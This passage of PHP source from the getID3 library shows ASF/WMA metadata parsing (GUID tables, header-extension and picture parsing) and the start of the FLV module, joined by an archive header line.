'GETID3_ASF_Content_Encryption_Object' => '2211B3FB-BD23-11D2-B4B7-00A0C955FC6E', 'GETID3_ASF_Digital_Signature_Object' => '2211B3FC-BD23-11D2-B4B7-00A0C955FC6E', 'GETID3_ASF_Extended_Content_Encryption_Object' => '298AE614-2622-4C17-B935-DAE07EE9289C', 'GETID3_ASF_Simple_Index_Object' => '33000890-E5B1-11CF-89F4-00A0C90349CB', 'GETID3_ASF_Degradable_JPEG_Media' => '35907DE0-E415-11CF-A917-00805F5C442B', 'GETID3_ASF_Payload_Extension_System_Timecode' => '399595EC-8667-4E2D-8FDB-98814CE76C1E', 'GETID3_ASF_Binary_Media' => '3AFB65E2-47EF-40F2-AC2C-70A90D71D343', 'GETID3_ASF_Timecode_Index_Object' => '3CB73FD0-0C4A-4803-953D-EDF7B6228F0C', 'GETID3_ASF_Metadata_Library_Object' => '44231C94-9498-49D1-A141-1D134E457054', 'GETID3_ASF_Reserved_3' => '4B1ACBE3-100B-11D0-A39B-00A0C90348F6', 'GETID3_ASF_Reserved_4' => '4CFEDB20-75F6-11CF-9C0F-00A0C90349CB', 'GETID3_ASF_Command_Media' => '59DACFC0-59E6-11D0-A3AC-00A0C90348F6', 'GETID3_ASF_Header_Extension_Object' => '5FBF03B5-A92E-11CF-8EE3-00C00C205365', 'GETID3_ASF_Media_Object_Index_Parameters_Obj' => '6B203BAD-3F11-4E84-ACA8-D7613DE2CFA7', 'GETID3_ASF_Header_Object' => '75B22630-668E-11CF-A6D9-00AA0062CE6C', 'GETID3_ASF_Content_Description_Object' => '75B22633-668E-11CF-A6D9-00AA0062CE6C', 'GETID3_ASF_Error_Correction_Object' => '75B22635-668E-11CF-A6D9-00AA0062CE6C', 'GETID3_ASF_Data_Object' => '75B22636-668E-11CF-A6D9-00AA0062CE6C', 'GETID3_ASF_Web_Stream_Media_Subtype' => '776257D4-C627-41CB-8F81-7AC7FF1C40CC', 'GETID3_ASF_Stream_Bitrate_Properties_Object' => '7BF875CE-468D-11D1-8D82-006097C9A2B2', 'GETID3_ASF_Language_List_Object' => '7C4346A9-EFE0-4BFC-B229-393EDE415C85', 'GETID3_ASF_Codec_List_Object' => '86D15240-311D-11D0-A3A4-00A0C90348F6', 'GETID3_ASF_Reserved_2' => '86D15241-311D-11D0-A3A4-00A0C90348F6', 'GETID3_ASF_File_Properties_Object' => '8CABDCA1-A947-11CF-8EE4-00C00C205365', 'GETID3_ASF_File_Transfer_Media' => '91BD222C-F21C-497A-8B6D-5AA86BFC0185', 'GETID3_ASF_Old_RTP_Extension_Data' => '96800C63-4C94-11D1-837B-0080C7A37F95', 'GETID3_ASF_Advanced_Mutual_Exclusion_Object' => 'A08649CF-4775-4670-8A16-6E35357566CD', 'GETID3_ASF_Bandwidth_Sharing_Object' => 'A69609E6-517B-11D2-B6AF-00C04FD908E9', 'GETID3_ASF_Reserved_1' => 'ABD3D211-A9BA-11cf-8EE6-00C00C205365', 'GETID3_ASF_Bandwidth_Sharing_Exclusive' => 'AF6060AA-5197-11D2-B6AF-00C04FD908E9', 'GETID3_ASF_Bandwidth_Sharing_Partial' => 'AF6060AB-5197-11D2-B6AF-00C04FD908E9', 'GETID3_ASF_JFIF_Media' => 'B61BE100-5B4E-11CF-A8FD-00805F5C442B', 'GETID3_ASF_Stream_Properties_Object' => 'B7DC0791-A9B7-11CF-8EE6-00C00C205365', 'GETID3_ASF_Video_Media' => 'BC19EFC0-5B4D-11CF-A8FD-00805F5C442B', 'GETID3_ASF_Audio_Spread' => 'BFC3CD50-618F-11CF-8BB2-00AA00B4E220', 'GETID3_ASF_Metadata_Object' => 'C5F8CBEA-5BAF-4877-8467-AA8C44FA4CCA', 'GETID3_ASF_Payload_Ext_Syst_Sample_Duration' => 'C6BD9450-867F-4907-83A3-C77921B733AD', 'GETID3_ASF_Group_Mutual_Exclusion_Object' => 'D1465A40-5A79-4338-B71B-E36B8FD6C249', 'GETID3_ASF_Extended_Content_Description_Object' => 'D2D0A440-E307-11D2-97F0-00A0C95EA850', 'GETID3_ASF_Stream_Prioritization_Object' => 'D4FED15B-88D3-454F-81F0-ED5C45999E24', 'GETID3_ASF_Payload_Ext_System_Content_Type' => 'D590DC20-07BC-436C-9CF7-F3BBFBF1A4DC', 'GETID3_ASF_Old_File_Properties_Object' => 'D6E229D0-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_ASF_Header_Object' => 'D6E229D1-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_ASF_Data_Object' => 'D6E229D2-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Index_Object' => 'D6E229D3-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Stream_Properties_Object' => 'D6E229D4-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Content_Description_Object' => 'D6E229D5-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Script_Command_Object' => 'D6E229D6-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Marker_Object' => 'D6E229D7-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Component_Download_Object' => 'D6E229D8-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Stream_Group_Object' => 'D6E229D9-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Scalable_Object' => 'D6E229DA-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Prioritization_Object' => 'D6E229DB-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Bitrate_Mutual_Exclusion_Object' => 'D6E229DC-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Inter_Media_Dependency_Object' => 'D6E229DD-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Rating_Object' => 'D6E229DE-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Index_Parameters_Object' => 'D6E229DF-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Color_Table_Object' => 'D6E229E0-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Language_List_Object' => 'D6E229E1-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Audio_Media' => 'D6E229E2-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Video_Media' => 'D6E229E3-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Image_Media' => 'D6E229E4-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Timecode_Media' => 'D6E229E5-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Text_Media' => 'D6E229E6-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_MIDI_Media' => 'D6E229E7-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Command_Media' => 'D6E229E8-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_No_Error_Concealment' => 'D6E229EA-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Scrambled_Audio' => 'D6E229EB-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_No_Color_Table' => 'D6E229EC-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_SMPTE_Time' => 'D6E229ED-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_ASCII_Text' => 'D6E229EE-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Unicode_Text' => 'D6E229EF-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_HTML_Text' => 'D6E229F0-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_URL_Command' => 'D6E229F1-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Filename_Command' => 'D6E229F2-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_ACM_Codec' => 'D6E229F3-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_VCM_Codec' => 'D6E229F4-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_QuickTime_Codec' => 'D6E229F5-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_DirectShow_Transform_Filter' => 'D6E229F6-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_DirectShow_Rendering_Filter' => 'D6E229F7-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_No_Enhancement' => 'D6E229F8-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Unknown_Enhancement_Type' => 'D6E229F9-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Temporal_Enhancement' => 'D6E229FA-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Spatial_Enhancement' => 'D6E229FB-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Quality_Enhancement' => 'D6E229FC-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Number_of_Channels_Enhancement' => 'D6E229FD-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Frequency_Response_Enhancement' => 'D6E229FE-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Media_Object' => 'D6E229FF-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Mutex_Language' => 'D6E22A00-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Mutex_Bitrate' => 'D6E22A01-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Mutex_Unknown' => 'D6E22A02-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_ASF_Placeholder_Object' => 'D6E22A0E-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_Data_Unit_Extension_Object' => 'D6E22A0F-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Web_Stream_Format' => 'DA1E6B13-8359-4050-B398-388E965BF00C', 'GETID3_ASF_Payload_Ext_System_File_Name' => 'E165EC0E-19ED-45D7-B4A7-25CBD1E28E9B', 'GETID3_ASF_Marker_Object' => 'F487CD01-A951-11CF-8EE6-00C00C205365', 'GETID3_ASF_Timecode_Index_Parameters_Object' => 'F55E496D-9797-4B5D-8C8B-604DFE9BFB24', 'GETID3_ASF_Audio_Media' => 'F8699E40-5B4D-11CF-A8FD-00805F5C442B', 'GETID3_ASF_Media_Object_Index_Object' => 'FEB103F8-12AD-4C64-840F-2A1D2F7AD48C', 'GETID3_ASF_Alt_Extended_Content_Encryption_Obj' => 'FF889EF1-ADEE-40DA-9E71-98704BB928CE', 'GETID3_ASF_Index_Placeholder_Object' => 'D9AADE20-7C17-4F9C-BC28-8555DD98E2A2', // http://cpan.uwinnipeg.ca/htdocs/Audio-WMA/Audio/WMA.pm.html 'GETID3_ASF_Compatibility_Object' => '26F18B5D-4584-47EC-9F5F-0E651F0452C9', // http://cpan.uwinnipeg.ca/htdocs/Audio-WMA/Audio/WMA.pm.html ); return $GUIDarray; } /** * @param string $GUIDstring * * @return string|false */ public static function GUIDname($GUIDstring) { static $GUIDarray = array(); if (empty($GUIDarray)) { $GUIDarray = self::KnownGUIDs(); } return array_search($GUIDstring, $GUIDarray); } /** * @param int $id * * @return string */ public static function ASFIndexObjectIndexTypeLookup($id) { static $ASFIndexObjectIndexTypeLookup = array(); if (empty($ASFIndexObjectIndexTypeLookup)) { $ASFIndexObjectIndexTypeLookup[1] = 'Nearest Past Data Packet'; $ASFIndexObjectIndexTypeLookup[2] = 'Nearest Past Media Object'; $ASFIndexObjectIndexTypeLookup[3] = 'Nearest Past Cleanpoint'; } return (isset($ASFIndexObjectIndexTypeLookup[$id]) ? $ASFIndexObjectIndexTypeLookup[$id] : 'invalid'); } /** * @param string $GUIDstring * * @return string */ public static function GUIDtoBytestring($GUIDstring) { // Microsoft defines these 16-byte (128-bit) GUIDs in the strangest way: // first 4 bytes are in little-endian order // next 2 bytes are appended in little-endian order // next 2 bytes are appended in little-endian order // next 2 bytes are appended in big-endian order // next 6 bytes are appended in big-endian order // AaBbCcDd-EeFf-GgHh-IiJj-KkLlMmNnOoPp is stored as this 16-byte string: // $Dd $Cc $Bb $Aa $Ff $Ee $Hh $Gg $Ii $Jj $Kk $Ll $Mm $Nn $Oo $Pp $hexbytecharstring = chr(hexdec(substr($GUIDstring, 6, 2))); $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 4, 2))); $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 2, 2))); $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 0, 2))); $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 11, 2))); $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 9, 2))); $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 16, 2))); $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 14, 2))); $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 19, 2))); $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 21, 2))); $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 24, 2))); $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 26, 2))); $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 28, 2))); $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 30, 2))); $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 32, 2))); $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 34, 2))); return $hexbytecharstring; } /** * @param string $Bytestring * * @return string */ public static function BytestringToGUID($Bytestring) { $GUIDstring = str_pad(dechex(ord($Bytestring[3])), 2, '0', STR_PAD_LEFT); $GUIDstring .= str_pad(dechex(ord($Bytestring[2])), 2, '0', STR_PAD_LEFT); $GUIDstring .= str_pad(dechex(ord($Bytestring[1])), 2, '0', STR_PAD_LEFT); $GUIDstring .= str_pad(dechex(ord($Bytestring[0])), 2, '0', STR_PAD_LEFT); $GUIDstring .= '-'; $GUIDstring .= str_pad(dechex(ord($Bytestring[5])), 2, '0', STR_PAD_LEFT); $GUIDstring .= str_pad(dechex(ord($Bytestring[4])), 2, '0', STR_PAD_LEFT); $GUIDstring .= '-'; $GUIDstring .= str_pad(dechex(ord($Bytestring[7])), 2, '0', STR_PAD_LEFT); $GUIDstring .= str_pad(dechex(ord($Bytestring[6])), 2, '0', STR_PAD_LEFT); $GUIDstring .= '-'; $GUIDstring .= str_pad(dechex(ord($Bytestring[8])), 2, '0', STR_PAD_LEFT); $GUIDstring .= str_pad(dechex(ord($Bytestring[9])), 2, '0', STR_PAD_LEFT); $GUIDstring .= '-'; $GUIDstring .= str_pad(dechex(ord($Bytestring[10])), 2, '0', STR_PAD_LEFT); $GUIDstring .= str_pad(dechex(ord($Bytestring[11])), 2, '0', STR_PAD_LEFT); $GUIDstring .= str_pad(dechex(ord($Bytestring[12])), 2, '0', STR_PAD_LEFT); $GUIDstring .= str_pad(dechex(ord($Bytestring[13])), 2, '0', STR_PAD_LEFT); $GUIDstring .= str_pad(dechex(ord($Bytestring[14])), 2, '0', STR_PAD_LEFT); $GUIDstring .= str_pad(dechex(ord($Bytestring[15])), 2, '0', STR_PAD_LEFT); return strtoupper($GUIDstring); } /** * @param int $FILETIME * @param bool $round * * @return float|int */ public static function FILETIMEtoUNIXtime($FILETIME, $round=true) { // FILETIME is a 64-bit unsigned integer representing // the number of 100-nanosecond intervals since January 1, 1601 // UNIX timestamp is number of seconds since January 1, 1970 // 116444736000000000 = 10000000 * 60 * 60 * 24 * 365 * 369 + 89 leap days if ($round) { return intval(round(($FILETIME - 116444736000000000) / 10000000)); } return ($FILETIME - 116444736000000000) / 10000000; } /** * @param int $WMpictureType * * @return string */ public static function WMpictureTypeLookup($WMpictureType) { static $lookup = null; if ($lookup === null) { $lookup = array( 0x03 => 'Front Cover', 0x04 => 'Back Cover', 0x00 => 'User Defined', 0x05 => 'Leaflet Page', 0x06 => 'Media Label', 0x07 => 'Lead Artist', 0x08 => 'Artist', 0x09 => 'Conductor', 0x0A => 'Band', 0x0B => 'Composer', 0x0C => 'Lyricist', 0x0D => 'Recording Location', 0x0E => 'During Recording', 0x0F => 'During Performance', 0x10 => 'Video Screen Capture', 0x12 => 'Illustration', 0x13 => 'Band Logotype', 0x14 => 'Publisher Logotype' ); $lookup = array_map(function($str) { return getid3_lib::iconv_fallback('UTF-8', 'UTF-16LE', $str); }, $lookup); } return (isset($lookup[$WMpictureType]) ? $lookup[$WMpictureType] : ''); } /** * @param string $asf_header_extension_object_data * @param int $unhandled_sections * * @return array */ public function HeaderExtensionObjectDataParse(&$asf_header_extension_object_data, &$unhandled_sections) { // http://msdn.microsoft.com/en-us/library/bb643323.aspx $offset = 0; $objectOffset = 0; $HeaderExtensionObjectParsed = array(); while ($objectOffset < strlen($asf_header_extension_object_data)) { $offset = $objectOffset; $thisObject = array(); $thisObject['guid'] = substr($asf_header_extension_object_data, $offset, 16); $offset += 16; $thisObject['guid_text'] = $this->BytestringToGUID($thisObject['guid']); $thisObject['guid_name'] = $this->GUIDname($thisObject['guid_text']); $thisObject['size'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 8)); $offset += 8; if ($thisObject['size'] <= 0) { break; } switch ($thisObject['guid']) { case GETID3_ASF_Extended_Stream_Properties_Object: $thisObject['start_time'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 8)); $offset += 8; $thisObject['start_time_unix'] = $this->FILETIMEtoUNIXtime($thisObject['start_time']); $thisObject['end_time'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 8)); $offset += 8; $thisObject['end_time_unix'] = $this->FILETIMEtoUNIXtime($thisObject['end_time']); $thisObject['data_bitrate'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); $offset += 4; $thisObject['buffer_size'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); $offset += 4; $thisObject['initial_buffer_fullness'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); $offset += 4; $thisObject['alternate_data_bitrate'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); $offset += 4; $thisObject['alternate_buffer_size'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); $offset += 4; $thisObject['alternate_initial_buffer_fullness'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); $offset += 4; $thisObject['maximum_object_size'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); $offset += 4; $thisObject['flags_raw'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); $offset += 4; $thisObject['flags']['reliable'] = (bool) $thisObject['flags_raw'] & 0x00000001; $thisObject['flags']['seekable'] = (bool) $thisObject['flags_raw'] & 0x00000002; $thisObject['flags']['no_cleanpoints'] = (bool) $thisObject['flags_raw'] & 0x00000004; $thisObject['flags']['resend_live_cleanpoints'] = (bool) $thisObject['flags_raw'] & 0x00000008; $thisObject['stream_number'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; $thisObject['stream_language_id_index'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; $thisObject['average_time_per_frame'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); $offset += 4; $thisObject['stream_name_count'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; $thisObject['payload_extension_system_count'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; for ($i = 0; $i < $thisObject['stream_name_count']; $i++) { $streamName = array(); $streamName['language_id_index'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; $streamName['stream_name_length'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; $streamName['stream_name'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, $streamName['stream_name_length'])); $offset += $streamName['stream_name_length']; $thisObject['stream_names'][$i] = $streamName; } for ($i = 0; $i < $thisObject['payload_extension_system_count']; $i++) { $payloadExtensionSystem = array(); $payloadExtensionSystem['extension_system_id'] = substr($asf_header_extension_object_data, $offset, 16); $offset += 16; $payloadExtensionSystem['extension_system_id_text'] = $this->BytestringToGUID($payloadExtensionSystem['extension_system_id']); $payloadExtensionSystem['extension_system_size'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; if ($payloadExtensionSystem['extension_system_size'] <= 0) { break 2; } $payloadExtensionSystem['extension_system_info_length'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); $offset += 4; $payloadExtensionSystem['extension_system_info_length'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, $payloadExtensionSystem['extension_system_info_length'])); $offset += $payloadExtensionSystem['extension_system_info_length']; $thisObject['payload_extension_systems'][$i] = $payloadExtensionSystem; } break; case GETID3_ASF_Padding_Object: // padding, skip it break; case GETID3_ASF_Metadata_Object: $thisObject['description_record_counts'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; for ($i = 0; $i < $thisObject['description_record_counts']; $i++) { $descriptionRecord = array(); $descriptionRecord['reserved_1'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); // must be zero $offset += 2; $descriptionRecord['stream_number'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; $descriptionRecord['name_length'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; $descriptionRecord['data_type'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; $descriptionRecord['data_type_text'] = self::metadataLibraryObjectDataTypeLookup($descriptionRecord['data_type']); $descriptionRecord['data_length'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); $offset += 4; $descriptionRecord['name'] = substr($asf_header_extension_object_data, $offset, $descriptionRecord['name_length']); $offset += $descriptionRecord['name_length']; $descriptionRecord['data'] = substr($asf_header_extension_object_data, $offset, $descriptionRecord['data_length']); $offset += $descriptionRecord['data_length']; switch ($descriptionRecord['data_type']) { case 0x0000: // Unicode string break; case 0x0001: // BYTE array // do nothing break; case 0x0002: // BOOL $descriptionRecord['data'] = (bool) getid3_lib::LittleEndian2Int($descriptionRecord['data']); break; case 0x0003: // DWORD case 0x0004: // QWORD case 0x0005: // WORD $descriptionRecord['data'] = getid3_lib::LittleEndian2Int($descriptionRecord['data']); break; case 0x0006: // GUID $descriptionRecord['data_text'] = $this->BytestringToGUID($descriptionRecord['data']); break; } $thisObject['description_record'][$i] = $descriptionRecord; } break; case GETID3_ASF_Language_List_Object: $thisObject['language_id_record_counts'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; for ($i = 0; $i < $thisObject['language_id_record_counts']; $i++) { $languageIDrecord = array(); $languageIDrecord['language_id_length'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 1)); $offset += 1; $languageIDrecord['language_id'] = substr($asf_header_extension_object_data, $offset, $languageIDrecord['language_id_length']); $offset += $languageIDrecord['language_id_length']; $thisObject['language_id_record'][$i] = $languageIDrecord; } break; case GETID3_ASF_Metadata_Library_Object: $thisObject['description_records_count'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; for ($i = 0; $i < $thisObject['description_records_count']; $i++) { $descriptionRecord = array(); $descriptionRecord['language_list_index'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; $descriptionRecord['stream_number'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; $descriptionRecord['name_length'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; $descriptionRecord['data_type'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); $offset += 2; $descriptionRecord['data_type_text'] = self::metadataLibraryObjectDataTypeLookup($descriptionRecord['data_type']); $descriptionRecord['data_length'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); $offset += 4; $descriptionRecord['name'] = substr($asf_header_extension_object_data, $offset, $descriptionRecord['name_length']); $offset += $descriptionRecord['name_length']; $descriptionRecord['data'] = substr($asf_header_extension_object_data, $offset, $descriptionRecord['data_length']); $offset += $descriptionRecord['data_length']; if (preg_match('#^WM/Picture$#', str_replace("\x00", '', trim($descriptionRecord['name'])))) { $WMpicture = $this->ASF_WMpicture($descriptionRecord['data']); foreach ($WMpicture as $key => $value) { $descriptionRecord['data'] = $WMpicture; } unset($WMpicture); } $thisObject['description_record'][$i] = $descriptionRecord; } break; default: $unhandled_sections++; if ($this->GUIDname($thisObject['guid_text'])) { $this->warning('unhandled Header Extension Object GUID "'.$this->GUIDname($thisObject['guid_text']).'" {'.$thisObject['guid_text'].'} at offset '.($offset - 16 - 8)); } else { $this->warning('unknown Header Extension Object GUID {'.$thisObject['guid_text'].'} in at offset '.($offset - 16 - 8)); } break; } $HeaderExtensionObjectParsed[] = $thisObject; $objectOffset += $thisObject['size']; } return $HeaderExtensionObjectParsed; } /** * @param int $id * * @return string */ public static function metadataLibraryObjectDataTypeLookup($id) { static $lookup = array( 0x0000 => 'Unicode string', // The data consists of a sequence of Unicode characters 0x0001 => 'BYTE array', // The type of the data is implementation-specific 0x0002 => 'BOOL', // The data is 2 bytes long and should be interpreted as a 16-bit unsigned integer. Only 0x0000 or 0x0001 are permitted values 0x0003 => 'DWORD', // The data is 4 bytes long and should be interpreted as a 32-bit unsigned integer 0x0004 => 'QWORD', // The data is 8 bytes long and should be interpreted as a 64-bit unsigned integer 0x0005 => 'WORD', // The data is 2 bytes long and should be interpreted as a 16-bit unsigned integer 0x0006 => 'GUID', // The data is 16 bytes long and should be interpreted as a 128-bit GUID ); return (isset($lookup[$id]) ? $lookup[$id] : 'invalid'); } /** * @param string $data * * @return array */ public function ASF_WMpicture(&$data) { //typedef struct _WMPicture{ // LPWSTR pwszMIMEType; // BYTE bPictureType; // LPWSTR pwszDescription; // DWORD dwDataLen; // BYTE* pbData; //} WM_PICTURE; $WMpicture = array(); $offset = 0; $WMpicture['image_type_id'] = getid3_lib::LittleEndian2Int(substr($data, $offset, 1)); $offset += 1; $WMpicture['image_type'] = self::WMpictureTypeLookup($WMpicture['image_type_id']); $WMpicture['image_size'] = getid3_lib::LittleEndian2Int(substr($data, $offset, 4)); $offset += 4; $WMpicture['image_mime'] = ''; do { $next_byte_pair = substr($data, $offset, 2); $offset += 2; $WMpicture['image_mime'] .= $next_byte_pair; } while ($next_byte_pair !== "\x00\x00"); $WMpicture['image_description'] = ''; do { $next_byte_pair = substr($data, $offset, 2); $offset += 2; $WMpicture['image_description'] .= $next_byte_pair; } while ($next_byte_pair !== "\x00\x00"); $WMpicture['dataoffset'] = $offset; $WMpicture['data'] = substr($data, $offset); $imageinfo = array(); $WMpicture['image_mime'] = ''; $imagechunkcheck = getid3_lib::GetDataImageSize($WMpicture['data'], $imageinfo); unset($imageinfo); if (!empty($imagechunkcheck)) { $WMpicture['image_mime'] = image_type_to_mime_type($imagechunkcheck[2]); } if (!isset($this->getid3->info['asf']['comments']['picture'])) { $this->getid3->info['asf']['comments']['picture'] = array(); } $this->getid3->info['asf']['comments']['picture'][] = array('data'=>$WMpicture['data'], 'image_mime'=>$WMpicture['image_mime']); return $WMpicture; } /** * Remove terminator 00 00 and convert UTF-16LE to Latin-1. * * @param string $string * * @return string */ public static function TrimConvert($string) { return trim(getid3_lib::iconv_fallback('UTF-16LE', 'ISO-8859-1', self::TrimTerm($string)), ' '); } /** * Remove terminator 00 00. * * @param string $string * * @return string */ public static function TrimTerm($string) { // remove terminator, only if present (it should be, but...) if (substr($string, -2) === "\x00\x00") { $string = substr($string, 0, -2); } return $string; } } ID3/module.audio-video.flv.php000064400000064733151202620270012125 0ustar00 // // available at https://github.com/JamesHeinrich/getID3 // // or https://www.getid3.org // // or http://getid3.sourceforge.net // // see readme.txt for more details // ///////////////////////////////////////////////////////////////// // // // module.audio-video.flv.php // // module for analyzing Shockwave Flash Video files // // dependencies: NONE // // // ///////////////////////////////////////////////////////////////// // // // FLV module by Seth Kaufman // // // // * version 0.1 (26 June 2005) // // // // * version 0.1.1 (15 July 2005) // // minor modifications by James Heinrich // // // // * version 0.2 (22 February 2006) // // Support for On2 VP6 codec and meta information // // by Steve Webster // // // // * version 0.3 (15 June 2006) // // Modified to not read entire file into memory // // by James Heinrich // // // // * version 0.4 (07 December 2007) // // Bugfixes for incorrectly parsed FLV dimensions // // and incorrect parsing of onMetaTag // // by Evgeny Moysevich // // // // * version 0.5 (21 May 2009) // // Fixed parsing of audio tags and added additional codec // // details. The duration is now read from onMetaTag (if // // exists), rather than parsing whole file // // by Nigel Barnes // // // // * version 0.6 (24 May 2009) // // Better parsing of files with h264 video // // by Evgeny Moysevich // // // // * version 0.6.1 (30 May 2011) // // prevent infinite loops in expGolombUe() // // // // * version 0.7.0 (16 Jul 2013) // // handle GETID3_FLV_VIDEO_VP6FLV_ALPHA // // improved AVCSequenceParameterSetReader::readData() // // by Xander Schouwerwou // // /// ///////////////////////////////////////////////////////////////// if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers exit; } define('GETID3_FLV_TAG_AUDIO', 8); define('GETID3_FLV_TAG_VIDEO', 9); define('GETID3_FLV_TAG_META', 18); define('GETID3_FLV_VIDEO_H263', 2); 